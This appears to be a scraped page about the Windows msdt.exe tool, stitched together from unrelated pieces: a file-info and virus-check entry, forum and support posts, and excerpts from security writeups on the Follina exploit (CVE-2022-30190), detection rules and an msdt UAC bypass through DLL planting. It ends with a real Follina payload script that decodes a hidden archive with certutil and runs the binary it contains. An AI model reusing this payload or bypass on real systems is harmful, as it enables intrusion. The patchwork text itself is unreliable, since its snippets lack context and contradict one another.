Msdt.exe
Kena Tilson
The genuine msdt.exe file is a software component of Microsoft Windows Operating System by Microsoft Corporation.
"Msdt.exe" is Microsoft's Diagnostic Troubleshooting Wizard. It has existed as an installed tool in "C:\Windows\System32" since Windows 7. (In XP and Vista, this function was performed through the browser with an ActiveX add-on.) In 64-bit Windows systems, "C:\Windows\System32\msdt.exe" is a 64-bit version and its 32-bit counterpart is in "C:\Windows\SysWOW64". It is executed from an elevated command prompt. The computer it is run on must have Internet access. It will not run unless the user has been in contact with Microsoft Support and has been given a ten-digit passkey that can be entered when requested. It generates a CAB file containing diagnostic information about the computer to be uploaded to Microsoft Support. In some cases it is able to perform automatic troubleshooting functions. "Msdt.exe" can be used to request and download an offline version, ("MSDT-Portable.exe"), to be run on a different computer lacking Internet access. This still requires a passkey.
The .exe extension on a filename indicates an executable file. Executable files may, in some cases, harm your computer. Therefore, please read below to decide for yourself whether the msdt.exe on your computer is a Trojan that you should remove, or whether it is a file belonging to the Windows operating system or to a trusted application.
Description: The original msdt.exe from Microsoft is an important part of Windows, but often causes problems. The file msdt.exe is located in the C:\Windows\System32 folder.Known file sizes on Windows 10/11/7 are 983,040 bytes (38% of all occurrences), 343,552 bytes and 5 more variants.
It is a Windows core system file. The msdt.exe file is a trustworthy file from Microsoft.Msdt.exe is able to record keyboard and mouse inputs.Therefore the technical security rating is 2% dangerous; but you should also compare this rating with the user reviews.
Is msdt.exe a virus? No, it is not. The true msdt.exe file is a safe Microsoft Windows system process, called "Diagnostics Troubleshooting Wizard".However, writers of malware programs, such as viruses, worms, and Trojans deliberately give their processes the same file name to escape detection. Viruses with the same file name are e.g. Trojan.Gen (detected by Symantec), and Trojan:Win64/Ropest.G (detected by Microsoft).
To ensure that no rogue msdt.exe is running on your PC, click here to run a Free Malware Scan.
How to recognize suspicious variants? If msdt.exe is located in a subfolder of the user's profile folder, the security rating is 66% dangerous. The file size is 143,872 bytes (50% of all occurrences) or 409,600 bytes.The file is not a Windows system file.Msdt.exe is able to record keyboard and mouse inputs, monitor applications and manipulate other programs.
Important: Some malware disguises itself as msdt.exe, particularly when not located in the C:\Windows\System32 folder. Therefore, you should check the msdt.exe process on your PC to see if it is a threat. We recommend Security Task Manager for verifying your computer's security. This was one of the Top Download Picks of The Washington Post and PC World.
Summary: Average user rating of msdt.exe: based on 10 votes with 4 user comments.7 users think msdt.exe is essential for Windows or an installed application.2 users think it's probably harmless.One user thinks it's neither essential nor dangerous.2 users don't grade msdt.exe ("not sure about it").
To help you analyze the msdt.exe process on your computer, the following programs have proven to be helpful: ASecurity Task Manager displays all running Windows tasks, including embedded hidden processes, such as keyboard and browser monitoring or Autostart entries. A unique security risk rating indicates the likelihood of the process being potential spyware, malware or a Trojan. BMalwarebytes Anti-Malware detects and removes sleeping spyware, adware, Trojans, keyloggers, malware and trackers from your hard drive.
I think that in theory you could try and change the permissions to %WINDOWS%\System32\msdt.exe by removing execution rights temporarily. But this is no guarantee, that the functionality itself isn't accessable via other calls via API. But at least nobody should be able to run it from command prompt.
As a result of the creation of the msdt.exe process, the sdiagnhost.exe process is created within less than a second, with svchost.exe as a parent process. The sdiagnhost.exe process executes the PowerShell code and any process creation from PowerShell will have sdiagnhost.exe as the parent process:
The vulnerability that exists within msdt.exe is the Microsoft Support Diagnostic Tool. Normally, this tool is used to diagnose faults with the operating system and then report and provide system details back to Microsoft Support.
As shown in Figure 2, the document found by @nao_sec used an embedded OLE Object inside a Word document that was modified to call an external website to download an HTML document. This document then invoked msdt.exe, followed by several PowerShell commands.
Upon processing the new protocol handler, the msdt.exe command is called with a parent process of Winword.exe. It also has a number of parameters, many of which are unusual (and poorly documented). Note the sysmon example detection below.
If the msdt.exe tool is used to create a callout (likely through PowerShell), this network traffic will be generated through sdiagnhost.exe (in this case, there was an additional call to Pastebin to get a second stage payload directly through msdt.exe).
Even ignoring the parent process of msdt.exe, the IT_RebrowseForFile and IT_BrowseForFile seem to be abnormal in most common use of msdt.exe. Execution of msdt.exe with these two command line arguments should be investigated as msdt.exe will certainly be used as a LOLBin outside of Office exploitation cases.
A second emulation plan (Follina_msdt_calc-callout) makes a web request to malwarejake.com via sdiagnhost.exe to retrieve PowerShell commands to execute calc.exe. Again, the SCYTHE UI will hang while the msdt.exe executable is still active and will present failure once the command returns.
Expect to see additional use of msdt.exe a LOLBin in the near future. Also, expect to see researchers explore other abuses of protocol handlers, including ms-msdt. Some have already been researching this as noted here and here.
A new zero-day remote code execution vulnerability (CVE-2022-30190) was reported by security researchers on May 27, 2022. The flaw, dubbed Follina, affects the Microsoft Windows Support Diagnostic Tool (MSDT). Successful exploitation of the vulnerability abuses native trust granted to the Microsoft Windows Diagnostics Tool (msdt.exe) allowing it to download and execute remote code. At time of writing, research indicates that exploiting file-based versions of the vulnerability requires user interaction, by opening a tained Microsoft Office, RTF, XML or HTML file.
Detects execution of msdt.exe using the "cab" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190. This rule is adapted from _creation/proc_creation_win_msdt_susp_cab_options.yml
Above all, the Qualys Research Team recommends that enterprises take all appropriate steps mentioned by Microsoft to remediate this vulnerability until patches are made available. Security teams may also add custom AppLocker publisher rules to block msdt.exe from executing or apply an Attack Surface Remediation rule to block all Office applications from creating child processes. Additionally, avoid clicking on unsolicited email communications and enable Qualys Multi-Vector EDR and Qualys Context XDR on affected systems.
I am attempting to run the Windows Update Troubleshooter and it fails with an error on msdt.exe. I am running this from the GUI (running it from the command line has not worked for some considerable time, hence using the GUI). I click on the Windows update troubleshooter and click 'Run the troubleshooter' and get this error:
One method can be taking a look at the CommandLine for msdt.exe process execution. As we can see when executing the .diagcab below in Figure 4, the name of the diagcab file is present at the end of the command string.
The Microsoft Support Diagnostic Tool (MSDT) is implemented in msdt.exe. The UAC bypass is possible because msdt.exe is a software capable of auto-elevation without UAC prompt.We can verify that using the SysInternals Sigcheck tool:
Second, the elevated msdt.exe launches sdiagnhost.exe with elevated privileges.In the Procmon capture below you can see sdiagnhost.exe is looking for a BluetoothDiagnosticUtil.dll DLL on the PATH, including in the %appdata%\Local\Microsoft\WindowsApps folder}. This folder is interesting because it is by default in PATH, and additionally, it is possible to write in it without elevated privileges.
To automatically close the MSDT windows, I have to kill msdt.exe, but since it is running with high privileges, I have to kill it from the elevated shellcode. sdiaghost.exe must be killed as well to be able to delete the DLL.
The following analytic identifies a Microsoft Office product spawning the Windows msdt.exe process. MSDT is a Diagnostics Troubleshooting Wizard native to Windows. This behavior is related to a recently identified sample utilizing protocol handlers to evade preventative controls, including if macros are disabled in the document. During triage, review file modifications for html. In addition, parallel processes including PowerShell and CertUtil.
$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";